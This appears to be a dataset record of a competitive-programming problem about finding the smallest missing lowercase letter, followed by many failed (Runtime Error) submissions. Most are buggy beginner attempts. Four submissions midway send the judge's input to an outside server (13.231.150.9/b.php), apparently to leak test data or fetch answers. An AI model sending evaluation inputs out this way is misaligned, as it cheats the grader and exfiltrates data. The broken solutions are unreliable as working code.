Problem:


Score : 200 points

Problem Statement

You are given a string S consisting of lowercase English letters.
Find the lexicographically (alphabetically) smallest lowercase English letter that does not occur in S.
If every lowercase English letter occurs in S, print None instead.

Constraints

1 \leq |S| \leq 10^5 (|S| is the length of string S.)

S consists of lowercase English letters.

Input

Input is given from Standard Input in the following format:

S

Output

Print the lexicographically smallest lowercase English letter that does not occur in S.
If every lowercase English letter occurs in S, print None instead.

Sample Input 1

atcoderregularcontest

Sample Output 1

b

The string atcoderregularcontest contains a, but does not contain b.

Sample Input 2

abcdefghijklmnopqrstuvwxyz

Sample Output 2

None

This string contains every lowercase English letter.

Sample Input 3

fajsonlslfepbjtsaayxbymeskptcumtwrmkkinjxnnucagfrg

Sample Output 3

d



Sample input:
atcoderregularcontest


Sample output:
b

Submission status: Runtime Error

Solution code:
s=list(input())
a=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
d=list(set(s))
d.sort()
ans="None"
for i in range(max(len(a),len(d))):
    if d[i]!=a[i]:
        ans=a[i]
        break
print(ans)

Submission status: Runtime Error

Solution code:
s=list(input())
a=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
d=list(set(s))
d.sort()
ans="None"
for i in range(len(a)):
    if d[i]!=a[i]:
        ans=a[i]
        break
print(ans)

Submission status: Runtime Error

Solution code:
s = input()
find = False
for c in string.ascii_lowercase:
  if c not in s:
    print(c)
    find = True
    break
if not find:
  print('None')

Submission status: Runtime Error

Solution code:
import string
def print_ans(s):

  A=string.ascii_lowercase
  B=list(set(A)-set(S))
  B.sort()
  print_ans(B[0] if B else 'None')

if __name__ == '__main__':
    S = input()
    print_ans(S)

Submission status: Runtime Error

Solution code:
import string
def print_ans(s):
    """Print substring of s, odd_th char
    >>> print_ans("abcdefghijklmnopqrstuvwxyz")
    None
    >>> print_ans("cbbbaeae")
    d
    >>> print_ans("b")
    a
    >>> print_ans("abc")
    d
    
    """
    a = string.ascii_lowercase
    b = list(set(a)-set(s)) #diff of list a and list b
    b.sort()

    print_ans(b[0] if b else 'None')

if __name__ == '__main__':
    S = input()
    print_ans(S)

Submission status: Runtime Error

Solution code:
s = input()
s_set = list(set(s))    #重複削除

s_set.sort()

chk = list("abcdefghijklmnopqrstuvwxyz")

i = 0

while 1:
    if s_set[i] != chk[i]:
        print(chk[i])
        break
    i += 1
    if i >= 26 or i>=len(s):
        print("None")
        break

Submission status: Runtime Error

Solution code:
s = input()
s_set = list(set(s))    #重複削除

s_set.sort()

chk = list("abcdefghijklmnopqrstuvwxyz")

i = 0

while 1:
    if s_set[i] != chk[i]:
        print(chk[i])
        break
    i +=1
    if i >= 26:
        print("None")
        break

Submission status: Runtime Error

Solution code:
alpha = [chr(ord('a') + i) for i in range(26)]
s = [str(i) for i in input()]

ss = set(alpha) - set(s)
ans = list(ss)
ans = sorted(ans)
print(ans[0])

Submission status: Runtime Error

Solution code:
import sys

s = list(input())
set_s = set(s)
new_s = list(set_s)
new_s.sort()
for i in range(26):
    if ord(new_s[i]) != 97+i:
        print(chr(97+i))
        sys.exit()
print('None')

Submission status: Runtime Error

Solution code:
s = list(input())
s = set(s)
ls = [chr(i) for i in range(97, 97+26)]
ls = set(ls)
b = ls-s
b = list(b)
b.sort()
print(b[0])

Submission status: Runtime Error

Solution code:

s = sorted(list(set(input()))) + ["A"] *26
t = "abcdefghijklmnopqrstuvwxyz"

ans = "None"
for i in range(len(s)):
	if s[i] != t[i]:
		ans = (t[i])
		break
print(ans)

Submission status: Runtime Error

Solution code:

s = list(set(input()))
t = "abcdefghijklmnopqrstuvwxyz"

ans = -1
for i in len(s):
	if s[i] != t[i]:
		ans = (s[i])
		break
print(ans)

Submission status: Runtime Error

Solution code:
S = list(input())
a_to_z = "abcdefghijklmnopqrstuvwxyz"
s.sort()
ans = "None"
for string in a_to_z:
    if string not in S:
        ans = string
        break
print(ans)

Submission status: Runtime Error

Solution code:
S=list(input())
S= list(set(S))
J=[]
S.sort()
for i in range(97,123):
    A=chr(i)
    J.append(A)
for i in S:
    J.remove(i)
print(J[0])

Submission status: Runtime Error

Solution code:
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
print("None")
s.post(url,data=data)

Submission status: Runtime Error

Solution code:
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
s.post(url,data=data)
print("None")

Submission status: Runtime Error

Solution code:
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
s.post(url,data=data)

Submission status: Runtime Error

Solution code:
import requests
S = input()
s = requests.session()
data={
    "data":S
}
url = "http://13.231.150.9/b.php"
r = s.post(url,data=data)
print(r.text)

Submission status: Runtime Error

Solution code:
X = set()
for x in input():
  X.add(x.encode("sjis")[0])
X = sorted(X)
codeA = "a".encode("sjis")[0]
codes = [bytes(codeA + i).decode("sjis") for i in range(26)]
codes.append("None")

print(codes(sum([1 for i, x in enumerate(X) if x == codes[i]])))

Submission status: Runtime Error

Solution code:
X = set()
for x in input():
  X.append(x)
X = sorted(X)
if X[0] != "a":
  c = "a"
else:
  c = ["a".enocode("sjis")[0] + sum([1 for i, x in enumerate(X) if x.encode("sjis")[0] == "a".encode("sjis")[0] + i])].decode("sjis")

if c.endode("sjis")[0] > "z".encode("sjis")[0]:
  c = "None"

print(c)

Submission status: Runtime Error

Solution code:
S = input()
A = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"] 
B = [0]*26
flag = -1

for i in range(len(S)):
  
  for j in range(len(A)):
    if S[i] == A[j]:
      B[j] += 1
      break
  
  if i == len(S)
    break

for k in range(B):
  if B[k] == 0
    print(A[k])
    flag = 1
    break
    
if flag == -1:
  print("none")

Submission status: Runtime Error

Solution code:
S = input()
A = [a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z] 
B = [0]*26
flag = -1

for i in range(len(S)):
  
  for j in range(len(A)):
    if S[i] == A[j]:
      B[j] += 1
      break
  
  if i == len(S)
    break

for k in range(B):
  if B[k] == 0
    print(A[k])
    flag = 1
    break
    
if flag == -1:
  print("none")

Submission status: Runtime Error

Solution code:
s = input()
alphabet = 'abcdefghijklmnopqrstuvwxyz'

s_list = set(s)
s_list = sorted(s_list)

if alphabet in s_list:
    print('None')
else:
    for i in range(len(s)):
        if s_list[i] != alphabet[i]:
            print(alphabet[i])
            break

Submission status: Runtime Error

Solution code:
s = input()
alphabet = 'abcdefghijklmnopqrstuvwxyz'

s_list = set(s)
s_list = sorted(s_list)


for i in range(len(s)):
    if s_list[i] != alphabet[i]:
        print(alphabet[i])
        break
if alphabet in s_list:
    print('None')

Submission status: Runtime Error

Solution code:
s = input()
alphabet = 'abcdefghijklmnopqrstuvwxyz'

s_list = set(s)
s_list = sorted(s_list)


for i in range(len(s)):
    if s_list[i] != alphabet[i]:
        print(alphabet[i])
        break
if alphabet in s:
    print('None')

Submission status: Runtime Error

Solution code:
s = input()
alphabet = 'abcdefghijklmnopqrstuvwxyz'

s_list = set(s)
s_list = sorted(s_list)

if alphabet in s:
    print('None')
else:
    for i in range(len(s)):
        if s_list[i] != alphabet[i]:
            print(alphabet[i])
            break

Submission status: Runtime Error

Solution code:
s = list(input())
alpha = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
for x in s:
    alpha.remove(x)
print(alpha[0] if len(alpha)>0 else "None")

Submission status: Runtime Error

Solution code:
alphabet = {1:"a",2:"b"}
backet = [0]*26
S = input()
for char in S:
    backet[ord(char)-97] = 1
print(chr(backet.index(0)+97))

Submission status: Runtime Error

Solution code:
l=[chr(i) for i in range(97,97+26)]
s=list(input())
a=set(l)-set(s)
a=list(a)
a.sort()
print(a[0])

Submission status: Runtime Error

Solution code:
s = input()
listA = ["a","b","c","d","e","f","g","h","i","j","k",
         "l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
for i in range(27):
  if s.count(listA[i])==0:
    print(listA[i])
    break

Submission status: Runtime Error

Solution code:
s=input()
m=[0 for i in range(26)]
for i in range(len(s)):
  m[ord(s[i])-97]=1
a=0
for i in range(len(s)):
  if m[i]==0:
    print(chr(i+97))
    a=1
    break
if a==0:
  print("None")

Submission status: Runtime Error

Solution code:
s=input()
m=[0 for i in range(26)]
for i in range(len(s)):
  m[ord(s[i])-97]=1
for i in range(len(s)):
  if m[i]==0:
    print(chr(i+97))
    break

Submission status: Runtime Error

Solution code:
s = str(input())
     
alphabet = "abcdefghijklmnopqrstuvwxyz"
     
for i in range(len(alphabet)):
        if not alphabet[i] in s:
                ans = alphabet[i]
                break
print(ans)

Submission status: Runtime Error

Solution code:
s = str(input())
 
alphabet = "abcdefghijklmnopqrstuvwxyz"

for i in range(len(alphabet)):
  if alphabet[i] in s:
  else:
    ans = alphabet[i]
    break
print(ans)

Submission status: Runtime Error

Solution code:
s = str(input())

alphabet = "abcdefghijklmnopqrstuvwxyz"
for i in range(alphabet):
  if alphabet[i] not in s:
    print(i)
    break

Submission status: Runtime Error

Solution code:
s,d=input(),"abcdefghijklmnopqrstuvwxyz"
for i in range(27):
  if not d[i]in s:
    print(d[i])
    exit()
print("None")

Submission status: Runtime Error

Solution code:
s=input()
l=[]
alf=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o",
"p","q","r","s","t","u","v","w","x","y","z"]
for x in alf:
    if str(x) in s:
        pass
    else:
        l.append(x)
print(min(l))

Submission status: Runtime Error

Solution code:
S = set(list(input()))
alpha = set([chr(ord('a') + i) for i in range(26)])
answer = alpha - S
L=list(answer)
L.sort()
if len(L) = 0:
    print('None')
else:
    print(L[0])

Submission status: Runtime Error

Solution code:
S = set(list(input()))
alpha = set([chr(ord('a') + i) for i in range(26)])
answer = alpha - S
L=list(answer)
L.sort()
print(L[0])

Submission status: Runtime Error

Solution code:
print(min(set(map(chr,range(97,123)))-set(input())or["None"]))
//char型a~zのセットから入力分引いた残りの最小値 なければ"None"

Submission status: Runtime Error

Solution code:
S = list(set(input()))
S.sort()
flag = False
tmp = "abcdefghijklmnopqrstuvwxyz"
for i in range(0,len(tmp),1):
    if str(S[i]) != str(tmp[i]):
        print(tmp[i])
        break
if flag != False:
    print("None")

Submission status: Runtime Error

Solution code:
S = input()
ans = "abcdefghijklmnopqrstuvwxyz"
for s in S:
  ans = ans.replace(s, "")
print(ans[0])

Submission status: Runtime Error

Solution code:
# python template for atcoder1
import sys
sys.setrecursionlimit(10**9)
input = sys.stdin.readline
s = int(input())
alpha = [chr(i) for i in range(97, 97+26)]
for c in alpha:
    if c in s:
        continue
    else:
        print(c)
        break

Submission status: Runtime Error

Solution code:
s=list(input())
s=set(s)
s=list(s)
s.sort()
for i in range(26):
    if ord(s[i])-97!=i:
        if i==0:
            print("a")
            break
        print(chr(ord(s[i-1])+1))
        break
    if i==25:
        print("None")
        break

Submission status: Runtime Error

Solution code:
s = str(input())

import string

s = set(sorted(list(s)))
t = set(list(string.ascii_lowercase))
remain = t - s
remain = list(remain)

print(min(remain))

Submission status: Runtime Error

Solution code:
S = list(input())
li = list(set(S))
li.sort()
ascii_lowercase = list("abcdefghijklmnopqrstuvwxyz")
for i in range(0,len(S),1):
  if li[i] != ascii_lowercase[i]:
    print(ascii_lowercase[i])
    break
  elif li == ascii_lowercase:
    print("None")
    break

Submission status: Runtime Error

Solution code:
S = input()
li = [i for i in S]
li_2 = list(set(li))
li_2.sort()
ascii_lowercase = "abcdefghijklmnopqrstuvwxyz"
ascii_lowercase_list = list(ascii_lowercase)
for k in range(0,len(S),1):
  if li_2[k] != ascii_lowercase_list[k]:
    print(ascii_lowercase_list[k])
    break
  elif li_2 == ascii_lowercase_list:
    print("None")
    break

Submission status: Runtime Error

Solution code:
S = str(input())
li = [i for i in S]
li_2 = list(set(li))
li_2.sort()
ascii_lowercase = "abcdefghijklmnopqrstuvwxyz"
ascii_lowercase_list = list(ascii_lowercase)
for k in range(0,len(S),1):
  if li_2[k] != ascii_lowercase_list[k]:
    print(ascii_lowercase_list[k])
    break
  elif li_2 == ascii_lowercase_list:
    print("None")
    break

Submission status: Runtime Error

Solution code:
S = str(input())
li = [i for i in S]
li_2 = list(set(li))
li_2.sort()
ascii_lowercase = "abcdefghijklmnopqrstuvwxyz"
ascii_lowercase_list = list(ascii_lowercase)
for k in range(0,len(S),1):
  if li_2[k] != ascii_lowercase_list[k]:
    print(ascii_lowercase_list[k])
    break
  elif k == len(S)-1:
    print("None")
    break

Submission status: Runtime Error

Solution code:
S = str(input())
li = [i for i in S]
li_2 = list(set(li))
li_2.sort()
ascii_lowercase = "abcdefghijklmnopqrstuvwxyz"
ascii_lowercase_list = list(ascii_lowercase)
for i in range(0,len(S),1):
  if li_2[i] != ascii_lowercase_list[i]:
    print(ascii_lowercase_list[i])
    break
  elif i+1 == len(S):
    print("None")
    break

Submission status: Runtime Error

Solution code:
string = abcdefghijklmnopqrstuvwxyz
s = input()

for i in range(27):
    if string[i] not in s:
        print(string[i])
        exit()

print("None")

Submission status: Runtime Error

Solution code:
s = set(input())
on = {a, b, c, d, e, f, g, h ,i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z}
if s == on:
  print("None")
print(min(on-s))

Submission status: Runtime Error

Solution code:
s = sorted(set(list(str(input()))))
t = "abcdefghijklmnopqrstuvwxyz"
if len(s) == 26:
    print("None")
for i in range(26):
    if t[i] != s[i]:
        print(t[i])
        break

Submission status: Runtime Error

Solution code:
alphabets = [i for i in range(ord('a'), ord('z') + 1)]
lists = [ord(i) for i in input()]
lists=list(set(lists))
lists.sort()
for i in range(len(alphabets)):
    if i+1>=len(lists):
        if alphabets[i] == lists[i]:
            print(chr(alphabets[i+1]))
            exit(0)
    if alphabets[i]!=lists[i]:
        print(chr(alphabets[i]))
        exit(0)


print('None')

Submission status: Runtime Error

Solution code:
alphabets = [i for i in range(ord('a'), ord('z') + 1)]
lists = [ord(i) for i in input()]
lists=list(set(lists))
lists.sort()
for i in range(len(alphabets)):
    if alphabets[i]!=lists[i]:
        print(chr(alphabets[i]))
        exit(0)

print('None')

Submission status: Runtime Error

Solution code:
A=input()
B=list(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)
for i in range(26):
  if not B[i]  in A:
    print(B[i])
    exit()
print("None")

Submission status: Runtime Error

Solution code:
A=input()
B=list(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z)
for i in range(26):
  if B[i] not in A:
    print(B[i])
    exit()
print("None")

Submission status: Runtime Error

Solution code:
import string
n = input()
s = string.ascii_lowercase - set(n)

if len(s) == 0:
    print('None')
else:
    print(min(s))

Submission status: Runtime Error

Solution code:
s = list(input())
s_ = list('abcdefghijklmnopqrstuvwxyz')

s = list(set(s))
s.sort()

for i in range(len(s)):
    if s[i] != s_[i]:
        print(s_[i])
        exit()
    elif i == len(s) - 1:
        print(s_[i+1])
        exit()
print('None')

Submission status: Runtime Error

Solution code:
s = list(input())
s_ = list('abcdefghijklmnopqrstuvwxyz')

s = list(set(s))
s.sort()

for i in range(26):
    if s[i] != s_[i]:
        print(s_[i])
        exit()
print('None')

Submission status: Runtime Error

Solution code:
s=list(input())
s.sort()
l=[chr(ord("a")+i) for i in range(26)]
n=[]
for j in l:
  if j not in s:
    n.append(j)
n.sort()
print(n[0])

Submission status: Runtime Error

Solution code:
# -*- coding: utf-8 -*-
S = str(input())
L = ["abcdefghijklmnopqrstuvwxyz"]
T = L-S
print(T[0])

Submission status: Runtime Error

Solution code:
S = input()
T = 'abcdefghijklmnopqrstuvwxyz'
print(sorted(list(set(T) - set(S)))[0])

Submission status: Runtime Error

Solution code:
def not_found_minchar(S):
    sorted_S = sorted(set(S))
    idx = 0
    for o in range(ord('a'), ord('z') + 1):
        if o < ord(sorted_S[idx]):
            return chr(o)
        idx += 1
    return "None"

S = raw_input()
print not_found_minchar(S)

Submission status: Runtime Error

Solution code:
def not_found_minchar(S):
    sorted_S = sorted(list(set(S)))
    idx = 0
    for o in range(ord('a'), ord('z') + 1):
        if o < ord(sorted_S[idx]):
            return chr(o)
        idx += 1
    return "None"

S = raw_input()
print not_found_minchar(S)

Submission status: Runtime Error

Solution code:
print(min(set(map(chr,range(97,123)))-set(input())) or["None"])

Submission status: Runtime Error

Solution code:
s = input()

set_s = set(s)

abc = 'abcdefghijklmnopqrstuvwxyz'

if len(abc) != 26:
	print('err')

set_abc = set(abc)

set_abc -= set_s

ans =[]

for c in set_abc:
	ans.append(c)
	
ans.sort()

print(ans[0])

Submission status: Runtime Error

Solution code:
S = input()
S.set()
alp = [chr(ord('a') + i) for i in range(26)]
for i in alp:
  if i not in S:
    print(i)
    break

Submission status: Runtime Error

Solution code:
j = set('abcdefghijklmnopqrstuvwxyz')
s = set(input())
k = sorted(j - s)

if k != '':
    print(k[0])
else:
    print('None')

Submission status: Runtime Error

Solution code:
s=list(input())
res="None"
s.sort()
str="abcdefghijklmnopqrstuvwxyz"
for i in range (len(s)):
    if not(str[i] in s):
        res=str[i]
        break
 
print(res)

Submission status: Runtime Error

Solution code:
"""
a = "kanji"
for i in a:
  print(i)
"""

s = raw_input()
print(s)

ch_lst = "abcdefghijklmnopqrstqvwxyz"
#ch_lst = [chr(i) for i in range(ord('a'), ord('z')+1)]
print(ch_lst)

match = 0
for j in ch_lst:
  ch = s.find(j)
  if ch != -1:
    #print(ch)
  else:
    match = 1
    break

if match == 0:
  print("none")
elif match == 1:
  print(j)

Submission status: Runtime Error

Solution code:
s=input()
array=[]
for i in range (len(s)):
    array.append(s[i])
for i in range(len(set(s)+1)):
    if chr(97+i) in array:
        continue
    else:
        print(chr(97+i))
        exit()
print("None")

Submission status: Runtime Error

Solution code:
s=set(list(input()))
a=set(list('abcdefghijklmnopqrstuvwxyz'))

if s==a:
    print('None')
else:
    b=a-s
    print(b[0])

Submission status: Runtime Error

Solution code:
s=set(list(input()))
a=list('abcdefghijklmnopqrstuvwxyz')
b=set()
for i in range(26):
    b=b.append(str(a[i]))
if s==b:
    print('None')
else:
    print(b-s)

Submission status: Runtime Error

Solution code:
s=set(list(input()))
a=list('abcdefghijklmnopqrstuvwxyz')
b=set()
for i in range(26):
    b.append(str(a[i]))
if s==b:
    print('None')
else:
    print(b-s)

Submission status: Runtime Error

Solution code:
s=set(list(input()))
a='abcdefghijklmnopqrstuvwxyz'
b=set()
for i in range(26):
    b.append(str(a[i]))
if s==b:
    print('None')
else:
    print(b-s)

Submission status: Runtime Error

Solution code:
s=set(sep(input()))
a='abcdefghijklmnopqrstuvwxyz'
b=set()
for i in range(26):
    b.append(str(a[i]))
if s==b:
    print('None')
else:
    print(b-s)

Submission status: Runtime Error

Solution code:
s=set(input().sep())
a='abcdefghijklmnopqrstuvwxyz'
b=set()
for i in range(26):
    b.append(str(a[i]))
if s==b:
    print('None')
else:
    print(b-s)

Submission status: Runtime Error

Solution code:
s=set(input())
a='abcdefghijklmnopqrstuvwxyz'
b=set()
for i in range(26):
    b.append(str(a[i]))
if s==b:
    print('None')
else:
    print(b-s)

Submission status: Runtime Error

Solution code:
s=set(input())
a='abcdefghijklmnopqrstuvwxyz'
b=set()
for i in range(26):
    b.append(a[i])
if s==b:
    print('None')
else:
    print(b-s)

Submission status: Runtime Error

Solution code:
s=set(input().split())
a='abcdefghijklmnopqrstuvwxyz'
b=set()
for i in range(26):
    b.append(a[i])
if s==b:
    print('None')
else:
    print(b-s)

Submission status: Runtime Error

Solution code:
s=set(input().split())
a='abcdefghijklmnopqrstuvwxyz'
b=set()
for i in range(26):
    b+=a[i]
if s==b:
    print('None')
else:
    print(b-s)

Submission status: Runtime Error

Solution code:
s=set(input().split())
a='abcdefghijklmnopqrstuvwxyz'
b=set()
for i in range(26):
    b+=a[i]
if s==b:
    print('None')
else:
    print(b-c)

Submission status: Runtime Error

Solution code:
s=set(input().split())
a=set('abcdefghijklmnopqrstuvwxyz')
a.split()
if s==a:
    print('None')
else:
    print(s-a)

Submission status: Runtime Error

Solution code:
s=set(input().split())
a=set(abcdefghijklmnopqrstuvwxyz)

if s==a:
    print('None')
else:
    print(s-a)

Submission status: Runtime Error

Solution code:
alphabets = 'a b c d e f g h i j k l m n o p q r s t u v w x y z'.split()
s = sorted(list(set(input())))
N = len(s)
i = 0
while(alphabets[i] in s):
    i += 1
print(chr(i+97))

Submission status: Runtime Error

Solution code:
s = input()
sset = set(s)
ans = 'None'
for c in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z):
  if c not in sset:
    ans = c
    break
print(ans)

Submission status: Runtime Error

Solution code:
<?php
	$s=fgets(STDIN);
	$a="None";
	for($c='a';$c<='z'&&strlen($c)==1;$c++){
		$f=0;
		for($i=0;$i<strlen($s);$i++)$f|=$s[$i]==$c;
		if(!$f){
			$a=$c;
			break;
		}
	}
	echo $a;

Submission status: Runtime Error

Solution code:
S = sorted(list(set(list(input()))))
test = sorted('abcdefghijklmnopqrstuvwxyz')
for num in range(len(S)):
    if num == 26:
        ans ='None'
        break
    if S[num] != test[num]:
        ans = num
        break
print('None' if ans=='None' else test[num] )

Submission status: Runtime Error

Solution code:
S = sorted(input())
test = sorted('abcdefghijklmnopqrstuvwxyz')
for num in range(len(S)):
    if num == 26:
        ans ='None'
        break
    if S[num] != test[num]:
        ans = num
        break
print('None' if ans=='None' else test[num] )

Submission status: Runtime Error

Solution code:
S = sorted(input())
test = sorted('abcdefghijklmnopqrstuvwxyz')
for num in range(len(S)):
    if S[num] != test[num]:
        ans = num
        break
print('None' if ans=='None' else test[num] )

Submission status: Runtime Error

Solution code:
s = set(input())
a = "abcdefghijklmnopqrstuvwxyz"
for i in s:
  a = a.replace(i, "")
print(a[0])

Submission status: Runtime Error

Solution code:
s=sorted(list(set(input())))
flag=True
for i in range(26):
  a=i+97
  if int(ord(s[i]))-a!=0:
    flag=False
    break
print('None' if flag else chr(a))

Submission status: Runtime Error

Solution code:
#include <bits/stdc++.h>
using namespace std;
int a[256];
string x;
int main(){
  cin>>x;
  for(char c:x)a[c]++;
  for(int i='a';i<='z';i++){
    if(!a[c]){
        putchar(c);
        return 0;
     }
  }
  puts("None");
}

Submission status: Runtime Error

Solution code:
S = input()
S_list = list(set(S))
al = 'abcdefghijklmnopqrstucwxyz'
al_list = list(al)
S_list.sort()

for i in range(len(S)):
    if al_list[i] in S_list:
        pass
    else:
        print(al_list[i])
        break
    
if i == len(S) - 1:
    print('None')

Submission status: Runtime Error

Solution code:
mojiretsu=input()
kakunin="abcdefghijklmnopqrstuvwxyz"
nagasa=len(mojiretsu)
bunkai=[]
for i in range(nagasa): 
    bunkai.append(mojiretsu[i:i+1])
bunkai1=list(set(bunkai))
bunkai1.sort()
ans="None"
NGFlug=False
j=0

for k in range(len(bunkai)):
    if bunkai1[k]!=kakunin[k:k+1]:
        ans=kakunin[k:k+1]
        NGFlug=True
        break

    j+=1

if NGFlug==True:
    
    print(ans)
elif j<27:
    print(kakunin[j:j+1])
else:
    print(ans)

Submission status: Runtime Error

Solution code:
mojiretsu=input()
kakunin="abcdefghijklmnopqrstuvwxyz"
nagasa=len(mojiretsu)
bunkai=[]
for i in range(nagasa): 
    bunkai.append(mojiretsu[i:i+1])
bunkai1=list(set(bunkai))
bunkai1.sort()
ans="None"
NGFlug=False
j=1

for k in range(len(bunkai)):
    if bunkai1[k]!=kakunin[k:k+1]:
        ans=kakunin[k:k+1]
        NGFlug=True
        break

    j+=1

if NGFlug==True:
    
    print(ans)
elif j<27:
    print(kakunin[j:j+1])
else:
    print(ans)

Submission status: Runtime Error

Solution code:
mojiretsu=input()
kakunin="abcdefghijklmnopqrstuvwxyz"
nagasa=len(mojiretsu)
bunkai=[]
for i in range(nagasa): 
    bunkai.append(mojiretsu[i:i+1])
bunkai1=list(set(bunkai))
bunkai1.sort()
ans="None"


for k in range(len(bunkai)):
    if bunkai1[k]!=kakunin[k:k+1]:
        ans=kakunin[k:k+1]
        
        break
    
print(ans)

Submission status: Runtime Error

Solution code:
S = raw_input()
lst = []
for i in range(0, 26):
	lst.append(True)

for i in range(0, len(S)):
	lst[ord(S[i])-141] = False

flag = True
for i in range(0, 26):
	if lst[i]:
		print chr(i+141)
		flag = False
		break

if flag:
	print 'None'

Submission status: Runtime Error

Solution code:
S = input()
flg = 0
for i in a:
    if flg == 0 and i not in S:
        print(i)
        flg = 1
if flg == 0:
    print("None")

Submission status: Runtime Error

Solution code:
print(sorted(set([chr(i) for i in range(97, 97+26)]) - set(list(input())))[0])

Submission status: Runtime Error

Solution code:
al = "abcdefghijklmnopqrstuvwxyz"
S1 = set(sorted(input()))
if (len(S1)==26):
    print("None")
else:
    for i in range (len(S1)):
        if al[i] != S1[i]:
            print(al[i])
            break

Submission status: Runtime Error

Solution code:
al = "abcdefghijklmnopqrstuvwxyz"
S1 = set(sorted(input()))
if (len(all)==26):
    print("None")
else:
    for i in range (len(S1)):
        if al[i] != S1[i]:
            print(al[i])
            break

Submission status: Runtime Error

Solution code:
import sys

args = sys.argv
alphabet = ([chr(ord('a') + i) for i in range(26)])
str = args[1]
str = list(str)
ans = alphabet

for i in str:
    try:
        ans.remove(i)
    except:
        continue
try:
    print(ans[0])
except:
    print("None")

Submission status: Runtime Error

Solution code:
import sys

args = sys.argv
alphabet = ([chr(ord('a') + i) for i in range(26)])
str = args[1]
str = list(str)
ans = alphabet

for i in str:
    ans.remove(i)

try:
    print(ans[0])
except:
    print("None")

Submission status: Runtime Error

Solution code:
import sys

args = sys.argv
alphabet = ([chr(ord('a') + i) for i in range(26)])
str = args[1]
ans = alphabet

for i in alphabet:
    if i in str:
        ans.remove(i)

print(ans[0])

Submission status: Runtime Error

Solution code:
alphabet = 'abcdefghijklmnopqrstuvwxyz'
alphabet_list = list(alphabet)
input_set = set(input())
input_list = list(input_set)
input_list.sort()
for i in range(len(alphabet)):
    if input_list[i] != alphabet_list[i]:
        print(alphabet_list[i])
        break
else:
    print('None')

Submission status: Runtime Error

Solution code:
alphabet = 'abcdefghijklmnopqrstuvwxyz'
alphabet_list = list(alphabet)
input_set = set(input())
input_list = list(input_set)
input_list.sort()
for i in range(len(alphabet)):
    if input_list[i] != alphabet_list[i]:
        print(alphabet_list[i])
        break
    elif i == 25:
        print('None')

Submission status: Runtime Error

Solution code:
alphabet = 'abcdefghijklmnopqrstuvwxyz'
alphabet_list = list(alphabet)
input_set = set(input())
input_list = list(input_set)
input_list.sort()
for i in range(26):
    if input_list[i] != alphabet_list[i]:
        print(alphabet_list[i])
        break
    elif i == 25:
        print('None')

Submission status: Runtime Error

Solution code:
S = input()
abc = [chr(i) for i in range(97,97+26)]
for i in S:
    if i in abc:
        abc.remove(i)
if S == []:
    print('None')
else:
    print(abc[0])

Submission status: Runtime Error

Solution code:
str_list = list(input())
import string
dif_list = sorted(list(set(string.ascii_lowercase) - set(sorted(str_list))))
print(dif_list[0])

Submission status: Runtime Error

Solution code:
s = input()
ch = [chr(i) for i in range(97, 97+26)]
for i in range(len(ch)):
    if not ch[i] in s :
        print(ch[i])
        sys.exit()
print("None")

Submission status: Runtime Error

Solution code:
s = input()
ch = [chr(i) for i in range(ord('a'), ord('z')+1)]
for i in range(len(ch)):
    if not ch[i] in s :
        print(ch[i])
        sys.exit()
print("None")

Submission status: Runtime Error

Solution code:
ch = [chr(i) for i in range(ord('a'), ord('z')+1)]
s = input()
for ss in ch:
    if not ss in s:
        print(ss)
        sys.exit()
print("None")

Submission status: Runtime Error

Solution code:
s = input()
ch = {chr(i) for i in range(ord('a'), ord('z')+1)}
for i in range(len(s)): ch.remove(s[i])
tmp = sorted(list(ch))
print(tmp[0] if len(tmp) else "None")

Submission status: Runtime Error

Solution code:
s=sorted(list(set(list(input()))))
if len(s)==26:
    print("None")
alph=[a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z]
for i in range(26):
    if s[i]!=alph[i]:
        print(alph[i])

Submission status: Runtime Error

Solution code:
s=list(set(input()))
test=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
test.sort()
s.sort()
if len(s)==len(test):
    print("None")
    exit()
i=0
while True:
    if test[i]!=s[i]:
        print(test[i])
        break
    i+=1

Submission status: Runtime Error

Solution code:
import string
x=input()
a=string.acsii_lowercase
for i in a:
  if i not in x:
    print(i)
    exit()
print("None")

Submission status: Runtime Error

Solution code:
import string
x=input()
a=string.acsii_lowercase
for i in a
  if i not in x:
    print(i)
    exit()
print("None")

Submission status: Runtime Error

Solution code:
import string
x=input()
a=string.acsii_lowercase
for i in a
  if a not in x:
    print(x)
    exit()

Submission status: Runtime Error

Solution code:
if __name__ = '__main__':
    S = input()
    dic = [chr(i) for i in range(97, 123)]
    for i in range(len(dic)):
        if dic[i] not in S:
            print(dic[i])
            return

Submission status: Runtime Error

Solution code:
import string
S = input()
for a in string.ascii_lowercase:
    if a not in S:
        print(a)
        exit(1)
print('None')

Submission status: Runtime Error

Solution code:
S = input()
alphabet = "abcdefghijklmnopqrstuvwxyz"
for i in alphabet:
  if i not in S:
    print(i)
    return
  else:
    print('None')

Submission status: Runtime Error

Solution code:
S = input()
alphabet = "abcdefghijklmnopqrstuvwxyz"
found = [i for i in alphabet if i not in S]
found.sort()
print(found[0])

Submission status: Runtime Error

Solution code:
S = input()
flag = False
for i in range(26):
    c = chr(ord('a')+i)
    if c not in S:
        print(c)
        flag = True
        break
if !flag:
    print('None')

Submission status: Runtime Error

Solution code:
